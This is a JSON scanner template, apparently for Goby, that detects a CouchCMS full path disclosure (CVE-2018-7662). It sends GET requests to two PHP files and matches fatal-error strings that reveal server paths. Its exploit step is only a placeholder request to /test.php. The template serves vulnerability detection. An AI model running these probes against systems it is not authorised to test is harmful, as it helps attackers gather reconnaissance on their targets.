{ "Name": "CouchCMS Infoleak CVE-2018-7662", "Level": "1", "Tags": [ "infoleak" ], "GobyQuery": "title=\"CouchCMS\" || body=\"Powered by CouchCMS\"", "Description": "A simple open-source CMS for designers.", "Product": "CouchCMS", "Homepage": "https://www.couchcms.com/", "Author": "", "Impact": "Couch through 2.0 allows remote attackers to discover the full path via a direct request to includes/mysql2i/mysql2i.func.php or addons/phpmailer/phpmailer.php", "Recommendation": "", "References": [ "https://github.com/CouchCMS/CouchCMS/issues/46" ], "HasExp": true, "ExpParams": null, "ExpTips": { "Type": "", "Content": "" }, "ScanSteps": [ "AND", { "Request": { "method": "GET", "uri": "/includes/mysql2i/mysql2i.func.php", "follow_redirect": false, "header": null, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "mysql2i.func.php on line 10", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "Fatal error: Cannot redeclare mysql_affected_rows() in", "bz": "" } ] }, "SetVariable": [ "output|lastbody||" ] }, { "Request": { "method": "GET", "uri": "/addons/phpmailer/phpmailer.php", "follow_redirect": false, "header": null, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "phpmailer.php on line 10", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "Fatal error: Call to a menber function add_event_listener() on a non-object in", "bz": "" } ] }, "SetVariable": [ "output|lastbody||" ] } ], "ExploitSteps": [ "AND", { "Request": { "method": "GET", "uri": "/test.php", "follow_redirect": true, "header": null, "data_type": "text", "data": "", "set_variable": [] }, "ResponseTest": { "type": "group", "operation": "AND", "checks": [ { "type": "item", "variable": "$code", "operation": "==", "value": "200", "bz": "" }, { "type": "item", "variable": "$body", "operation": "contains", "value": "test", "bz": "" } ] }, "SetVariable": [ "output|lastbody|regex|" ] } ], "PostTime": "0000-00-00 00:00:00", "GobyVersion": "0.0.0" }